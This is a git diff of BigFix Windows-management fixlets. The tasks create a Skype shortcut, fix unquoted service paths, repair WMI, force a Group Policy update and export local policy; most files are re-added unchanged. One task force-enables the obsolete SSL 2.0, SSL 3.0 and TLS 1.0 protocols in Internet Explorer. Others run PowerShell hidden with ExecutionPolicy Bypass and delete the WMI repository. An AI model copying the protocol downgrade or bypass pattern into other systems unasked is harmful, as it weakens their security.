+    <Relevance>exists key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Relevance>
+    <Relevance>(value &quot;DisplayIcon&quot; of key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) as string as lowercase contains &quot;Skype.exe&quot; as lowercase</Relevance>
+    <Relevance>exists file ((value &quot;DisplayIcon&quot; of key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) as string)</Relevance>
+    <Relevance>not exists file &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype.lnk&quot; AND not exists file &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype\Skype.lnk&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 04 Aug 2011 21:26:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete makeshortcut.vbs
+appendfile   Set oWS = WScript.CreateObject("WScript.Shell")
+appendfile   sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype.lnk"
+appendfile   Set oLink = oWS.CreateShortcut(sLinkFile)
+appendfile   oLink.TargetPath = "{(value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}"
+appendfile   '    oLink.Arguments = ""
+appendfile   '    oLink.Description = "Skype"
+appendfile   '    oLink.HotKey = ""
+appendfile   '    oLink.IconLocation = "{(value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}, 2"
+appendfile   '    oLink.WindowStyle = "1"
+appendfile   '    oLink.WorkingDirectory = "{parent folder of file (value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}"
+appendfile   oLink.Save
+move __appendfile makeshortcut.vbs
+waithidden "{pathname of system folder & "\cscript.exe"}" makeshortcut.vbs]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes b/Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes
index 4aabbd8d6..aadea6c41 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Fix Unquoted Registry Paths
-  ID       : 24886
-  Author   : CharlieJax
-  Domain   : BESC
-  Imported : 2018-01-16T20:09:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Fix Unquoted Registry Paths</Title>
-    <Description><![CDATA[This task will deploy: Fix Unquoted Registry Paths.<BR><BR>This task uses the PowerShell fix from: <A href="https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341">https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341</A>&nbsp;to correct the unquoted service paths with spaces.&nbsp; The relevance looks for machines with out a quote that have a space in the service path.]]></Description>
-    <Relevance>exists services whose (exists (image paths of it as lowercase) whose (it does not start with &quot;%22&quot; and preceding text of first &quot;.exe&quot; of it contains &quot; &quot;))</Relevance>
-    <Category>Software Distribution</Category>
-    <Source>Software Distribution Wizard</Source>
-    <SourceReleaseDate>2018-01-16</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 10 Jan 2018 17:26:19 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Download the powershell file from https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341.  You will use that to update the unquoted paths.  Make sure to add that download command here either as a prefetch or download from Microsoft.
-run powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File __Download\fixpaths.ps1</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Fix Unquoted Registry Paths
+  ID       : 24886
+  Author   : CharlieJax
+  Domain   : BESC
+  Imported : 2018-01-16T20:09:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Fix Unquoted Registry Paths</Title>
+    <Description><![CDATA[This task will deploy: Fix Unquoted Registry Paths.<BR><BR>This task uses the PowerShell fix from: <A href="https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341">https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341</A>&nbsp;to correct the unquoted service paths with spaces.&nbsp; The relevance looks for machines with out a quote that have a space in the service path.]]></Description>
+    <Relevance>exists services whose (exists (image paths of it as lowercase) whose (it does not start with &quot;%22&quot; and preceding text of first &quot;.exe&quot; of it contains &quot; &quot;))</Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceReleaseDate>2018-01-16</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 10 Jan 2018 17:26:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Download the powershell file from https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341.  You will use that to update the unquoted paths.  Make sure to add that download command here either as a prefetch or download from Microsoft.
+run powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File __Download\fixpaths.ps1</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes b/Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes
index 5cff0911a..3e0ddaad8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes	
@@ -1,91 +1,91 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Fix WMI Errors
-  ID       : 3652
-  Author   : thetick
-  Domain   : BESC
-  Imported : 2013-11-05T11:30:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Fix WMI Errors</Title>
-    <Description><![CDATA[<P>Created By: Martin Carnegie<BR>Created: Nov 5, 2013<BR>Comments:<BR><FONT color=#ff0000><STRONG>NOTE: Please do testing of this fixlet before using in production as this could cause further issues with WMI!</STRONG></FONT></P>
-<P>This script contains two actions that can be used to fix WMI errors on Windows systems.<BR><BR>WMI Simple should be the first one used as it does not impact the system that much and seems to fix most issues. </P>
-<P>WMI Advanced should only be used if the WMI Simple does not fix the issue. This will require a reboot<BR><BR>Both wmi_simple and wmi_advanced were provided from a source at Microsoft, but I am unable to find that source.</P>]]></Description>
-    <Relevance>name of operating system contains &quot;Win&quot;</Relevance>
-    <Relevance>not exists wmi | true</Relevance>
-    <Category>Troubleshooting</Category>
-    <Source>martin@zaazee.ca</Source>
-    <SourceReleaseDate>2013-11-05</SourceReleaseDate>
-    <SourceSeverity>Repair WMI on Windows systems</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 05 Nov 2013 18:27:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy WMI Simple (Recommended).</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// WMI Simple
-delete __creatfile
-delete wmi_simple.bat
-
-createfile until __END
-
-cd %windir%\system32\wbem
-for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s
-wmiprvse /regserver
-winmgmt /resyncperf
-winmgmt /salvagerepository
-for /f %%s in ('dir /b *.mof *.mfl') do mofcomp %%s
-
-__END
-
-copy __createfile wmi_simple.bat
-
-waithidden cmd.exe /c wmi_simple.bat > {value of variable "temp" of environment}\wmi_simple.log 2>&1]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action3929">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy WMI Advanced.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// WMI Advanced
-delete __creatfile
-delete wmi_advanced.bat
-
-createfile until __END
-
-net stop winmgmt
-c:
-cd %systemroot%\system32\wbem
-rd /S /Q repository
-regsvr32 /s %systemroot%\system32\scecli.dll
-regsvr32 /s %systemroot%\system32\userenv.dll
-mofcomp cimwin32.mof
-mofcomp cimwin32.mfl
-mofcomp rsop.mof
-mofcomp rsop.mfl
-for /f %%s in ('dir /b /s *.dll') do regsvr32 /s %%s
-for /f %%s in ('dir /b *.mof') do mofcomp %%s
-for /f %%s in ('dir /b *.mfl') do mofcomp %%s
-echo DONE - you must reboot
-
-__END
-
-copy __createfile wmi_advanced.bat
-
-waithidden cmd.exe /c wmi_advanced.bat > {value of variable "temp" of environment}\wmi_advanced.log 2>&1
-
-//According to the MS script, the system should be restarted after the script is executed.
-action requires restart]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Fix WMI Errors
+  ID       : 3652
+  Author   : thetick
+  Domain   : BESC
+  Imported : 2013-11-05T11:30:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Fix WMI Errors</Title>
+    <Description><![CDATA[<P>Created By: Martin Carnegie<BR>Created: Nov 5, 2013<BR>Comments:<BR><FONT color=#ff0000><STRONG>NOTE: Please do testing of this fixlet before using in production as this could cause further issues with WMI!</STRONG></FONT></P>
+<P>This script contains two actions that can be used to fix WMI errors on Windows systems.<BR><BR>WMI Simple should be the first one used as it does not impact the system that much and seems to fix most issues. </P>
+<P>WMI Advanced should only be used if the WMI Simple does not fix the issue. This will require a reboot<BR><BR>Both wmi_simple and wmi_advanced were provided from a source at Microsoft, but I am unable to find that source.</P>]]></Description>
+    <Relevance>name of operating system contains &quot;Win&quot;</Relevance>
+    <Relevance>not exists wmi | true</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>martin@zaazee.ca</Source>
+    <SourceReleaseDate>2013-11-05</SourceReleaseDate>
+    <SourceSeverity>Repair WMI on Windows systems</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 05 Nov 2013 18:27:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy WMI Simple (Recommended).</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// WMI Simple
+delete __creatfile
+delete wmi_simple.bat
+
+createfile until __END
+
+cd %windir%\system32\wbem
+for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s
+wmiprvse /regserver
+winmgmt /resyncperf
+winmgmt /salvagerepository
+for /f %%s in ('dir /b *.mof *.mfl') do mofcomp %%s
+
+__END
+
+copy __createfile wmi_simple.bat
+
+waithidden cmd.exe /c wmi_simple.bat > {value of variable "temp" of environment}\wmi_simple.log 2>&1]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action3929">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy WMI Advanced.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// WMI Advanced
+delete __creatfile
+delete wmi_advanced.bat
+
+createfile until __END
+
+net stop winmgmt
+c:
+cd %systemroot%\system32\wbem
+rd /S /Q repository
+regsvr32 /s %systemroot%\system32\scecli.dll
+regsvr32 /s %systemroot%\system32\userenv.dll
+mofcomp cimwin32.mof
+mofcomp cimwin32.mfl
+mofcomp rsop.mof
+mofcomp rsop.mfl
+for /f %%s in ('dir /b /s *.dll') do regsvr32 /s %%s
+for /f %%s in ('dir /b *.mof') do mofcomp %%s
+for /f %%s in ('dir /b *.mfl') do mofcomp %%s
+echo DONE - you must reboot
+
+__END
+
+copy __createfile wmi_advanced.bat
+
+waithidden cmd.exe /c wmi_advanced.bat > {value of variable "temp" of environment}\wmi_advanced.log 2>&1
+
+//According to the MS script, the system should be restarted after the script is executed.
+action requires restart]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes b/Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes
index c6340c7da..8fc6c831b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer
-  ID       : 652
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-31T09:53:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer</Title>
-    <Description>Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer on target machines. This must be run while the user(s) that you wish to enable these settings for is logged in.</Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Category>Common Tasks</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-31</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 31 Oct 2012 14:53:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_USERS\{name of key whose (value &quot;Logon User Name&quot; of key &quot;Explorer&quot; of key &quot;CurrentVersion&quot; of key &quot;Windows&quot; of key &quot;Microsoft&quot; of key &quot;Software&quot; of it as string as lowercase = name of current user as string as lowercase) of key &quot;HKEY_USERS&quot; of registry}\Software\Microsoft\Windows\CurrentVersion\Internet Settings]&quot; &quot;SecureProtocols&quot;=dword:000000a8</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer
+  ID       : 652
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-31T09:53:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer</Title>
+    <Description>Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer on target machines. This must be run while the user(s) that you wish to enable these settings for is logged in.</Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-31</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 31 Oct 2012 14:53:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_USERS\{name of key whose (value &quot;Logon User Name&quot; of key &quot;Explorer&quot; of key &quot;CurrentVersion&quot; of key &quot;Windows&quot; of key &quot;Microsoft&quot; of key &quot;Software&quot; of it as string as lowercase = name of current user as string as lowercase) of key &quot;HKEY_USERS&quot; of registry}\Software\Microsoft\Windows\CurrentVersion\Internet Settings]&quot; &quot;SecureProtocols&quot;=dword:000000a8</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes b/Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes
index 14d0cca92..73972afce 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Force GP Update for Computer and Reboot
-  ID       : 651
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-31T09:50:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Force GP Update for Computer and Reboot</Title>
-    <Description>Run a GPUpdate and rebot target computer</Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Category>Common Tasks</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-31</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 31 Oct 2012 14:50:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /C gpupdate /force /boot /target:computer</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Force GP Update for Computer and Reboot
+  ID       : 651
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-31T09:50:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Force GP Update for Computer and Reboot</Title>
+    <Description>Run a GPUpdate and rebot target computer</Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-31</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 31 Oct 2012 14:50:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /C gpupdate /force /boot /target:computer</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes b/Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes
index c5a0bed43..592bf644f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes	
@@ -1,166 +1,166 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1
-  ID       : 22387
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2016-10-25T07:22:36
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1</Title>
-    <Description><![CDATA[<P>This Task will export Local Group Policy Registry.pol files into a defined set of Registry keys.&nbsp; </P>
-<P>The purpose is to provide a means of inspecting the Local Group Policy configuration in other Fixlets/Tasks.&nbsp; Originally we had a large number of Fixlets reading values from Registry.pol files directly; but the Relevance for doing so was complex, resource-intensive, and prone to causing issues due to file locking of the Registry.pol files.</P>
-<P>This Task will search for both Computer, User, and MLGPO instances of Registry.pol, export them to text files via Microsoft's "LGPO.exe" utility, and import the results into the Registry under a number of keys.&nbsp; Currently these are exported to HKLM\Software\BES_LGPO with subkeys for "Machine", "User", and (potentially) for each MLGPO-defined policy.</P>
-<P>MLGPO reference: <A href="https://technet.microsoft.com/en-us/library/cc766291%28v=ws.10%29.aspx?f=255&amp;MSPPError=-2147217396">https://technet.microsoft.com/en-us/library/cc766291%28v=ws.10%29.aspx?f=255&amp;MSPPError=-2147217396</A></P>
-<P>This Fixlet adds data at HKLM\Software\BES_LGPO subkeys:</P>
-<UL>
-<LI>Machine
-<LI>User
-<LI>S-&lt;whatever SIDS defined for MLGPO settings&gt;</LI></UL>
-<P>&nbsp;Beneath each of these Keys are a number of Values.&nbsp; The Value Name corresponds to the registy key &amp; value that the LGPO configures; and the Value Data corresponds to the Data Type and Value that the LGPO applies.&nbsp; Example</P>
-<P>[HKEY_LOCAL_MACHINE\SOFTWARE\BES_LGPO\User]</P>
-<P>Software\Policies\Microsoft\Windows\Control Panel\Desktop\ScreenSaveActive</P>
-<P>REG_SZ:"SZ:1"</P>
-<P>&nbsp;</P>
-<P>This Task should be run as a repeating Policy to ensure the registry values are updated periodically.&nbsp; The registry values output will be used by a number of Security Policy fixlets.&nbsp; This should also be added as a task in any Baseline that changes Local Group Policy settings, to ensure the new values are captured after the settings are applied.</P>
-<P>&nbsp;v1.1: Updated to handle XP/2003 using ImportRegPol.exe rather than LGPO.exe</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Category>Data Collection</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-07-05</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Aug 2016 21:16:09 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[begin prefetch block
- if {version of operating system >= version "6"}
-	add prefetch item name=LGPO.exe sha1=f5a4a8e27b428c2d9a1c1ba7d72ba08b77406a9c size=380208 url=http://MANUAL_BES_CACHING_REQUIRED/LGPO.exe sha256=a8e0b52dea3836071f3f46235c126cb7fe986abdcc3d1b819d7c2cd101999cb3
-  else
-	add prefetch item name=ImportRegPol.exe sha1=69d4881eb10a8f8c121e9ea63323ba6bfc028f31 size=181248 url=http://MANUAL_BES_CACHING_REQUIRED/ImportRegPol.exe
- endif
- collect prefetch items
-end prefetch block
-
-
-action uses wow64 redirection false
-if {version of operating system >= version "6"}
-	parameter "LGPO"="{pathname of download file "LGPO.EXE"}"
-	utility __Download\LGPO.exe
-	else
-	parameter "LGPO"="{pathname of download file "ImportRegPol.EXE"}"
-	utility __Download\ImportRegPol.exe
-endif
-
-// Path of each registry.pol file to parse, and the context (Computer|User) for the settings
-// Split via ";", ", /u" refers to User and ", /m" refers to Machine
-// Check Machine\Registry.pol, User\Registry.pol, and each potential MLGPO folder at System32\GroupPolicyUsers
-parameter "Registry.pol"="{pathname of system folder}\GroupPolicy\Machine\Registry.pol, /m;{pathname of system folder}\GroupPolicy\User\Registry.pol, /u{(if it !="" then ";" & it else "") of concatenation ";" of (it & ", /u") of pathnames of files "Registry.pol" of folders of folders "GroupPolicyUsers" of native system folder}"
-
-// Registry key into which we are going to write the output settings -
-parameter "RootKey"="HKEY_LOCAL_MACHINE\Software\BES_LGPO"
-
-// Locate Registry.pol and export it to LGPO Text file
-delete __appendfile
-// This creates a .inf file corresponding to each Registry.pol file found
-// Output .INF files are saved in the __Download folder (taking advantage of the BES Client behavior of keeping the download folder clean)
-// Files are named for the parent folder of Registry.pol - should be "Machine", "User", or the SID for an MLGPO user object
-// Output is generated by LGPO.exe or ImportRegPol.exe depending on OS
-// IF EXIST "PATH\Registry.pol" "PATH\LGPO.EXE" /parse /m "PATH\registry.pol" > __Download\parentdir.inf 2>>__Download\Export_Registry_Pol.err || EXIT /B 1
-if {version of operating system >= version "6"}
-	appendfile {concatenation "%0d%0a" of ("IF EXIST %22" & tuple string item 0 of it & "%22 %22" & parameter "LGPO" & "%22 /parse " & tuple string item 1 of it & " %22" & tuple string item 0 of it & "%22 > __Download\"  & (following text of last "\" of preceding text of last "\" of tuple string item 0 of it) & ".inf 2>>__Download\Export_Registry_Pol.err || EXIT /B 1" ) of substrings separated by ";" of parameter "Registry.pol"}
-else
-	appendfile {concatenation "%0d%0a" of ("IF EXIST %22" & tuple string item 0 of it & "%22 %22" & parameter "LGPO" & "%22 " & tuple string item 1 of it  & "  %22" & tuple string item 0 of it & "%22 /parseOnly /log __Download\"  & (following text of last "\" of preceding text of last "\" of tuple string item 0 of it) & ".inf /error __Download\Export_Registry_Pol.err || EXIT /B 1" ) of substrings separated by ";" of parameter "Registry.pol"}
-endif
-
-delete ExportRegistryPol.cmd
-move __appendfile ExportRegistryPol.cmd
-
-waithidden cmd /c ExportRegistryPol.cmd
